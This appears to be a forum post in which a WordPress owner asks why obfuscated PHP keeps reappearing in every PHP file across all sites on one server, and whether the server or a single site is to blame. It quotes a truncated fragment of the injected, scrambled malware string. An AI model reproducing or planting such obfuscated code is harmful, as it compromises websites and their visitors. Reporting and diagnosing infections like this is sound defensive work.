Please help me.
all of my WordPress sites has been added some strange code in all php files(core, theme, plugin..) I've spent a lot of time to delete it, but it keep coming back. I did not install anything insecure but I'm not sure because I'm working with a lot of people so really don't know what have happened?
The strange code looks
"<?php $eqrqdvc = '.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&o! x24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)% x24- xssbz)#44ec:649#-!#:618d5f9#-!#f6c68 x24- x24-tusqpt)%z-#:#* ......"
all of my sites on the same server are in this trouble at the same time, do you think the cause maybe on sever or can possibly in one site?